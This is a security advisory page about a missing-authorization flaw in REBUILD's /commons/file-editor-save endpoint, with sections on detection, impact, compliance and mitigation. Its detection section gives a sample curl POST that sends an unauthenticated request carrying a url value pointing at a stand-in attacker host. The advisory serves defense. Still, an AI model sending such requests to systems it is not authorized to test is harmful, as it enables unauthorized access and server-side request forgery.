Missing Authorization in Rebuild File Editor

Executive Summary

This vulnerability is a missing authorization flaw in REBUILD up to version 4.4.11. It involves the file /commons/file-editor-save where manipulating the url/fileKey argument allows unauthorized access. The issue can be exploited remotely and a public exploit is available.

Useful 0 Not Useful 0

Detection Guidance

To detect this vulnerability, monitor network traffic for unauthorized requests to the /commons/file-editor-save endpoint. Check for unusual file writes in the REBUILD data directory. Use tools like curl to test if the endpoint accepts unauthenticated requests with arbitrary url and fileKey parameters. Example: curl -X POST 'http://target.com/commons/file-editor-save?fileKey=test' -H 'Content-Type: application/json' -d '{"url":"http://attacker.com"}'

Inspect server logs for suspicious SSRF attempts or file modifications. Verify if the endpoint is accessible without authentication. If exploited, files in the REBUILD directory may show unexpected changes or timestamps.

Useful 0 Not Useful 0

Impact Analysis

An attacker could exploit this to gain unauthorized access to sensitive files or perform actions without proper permissions. This may lead to data theft, modification, or system compromise depending on the exposed functionality.

Useful 0 Not Useful 0

Compliance Impact

This vulnerability could lead to unauthorized access or modification of sensitive data, which may violate GDPR's data integrity and confidentiality requirements or HIPAA's safeguards for protected health information. The lack of authorization checks and potential for arbitrary file writes could expose regulated data to unauthorized parties.

Useful 0 Not Useful 0

Mitigation Strategies

Immediately upgrade REBUILD to a version beyond 4.4.11 to address the missing authorization flaw. If an upgrade is not available, restrict network access to the vulnerable file /commons/file-editor-save and monitor for unusual activity.

Useful 0 Not Useful 0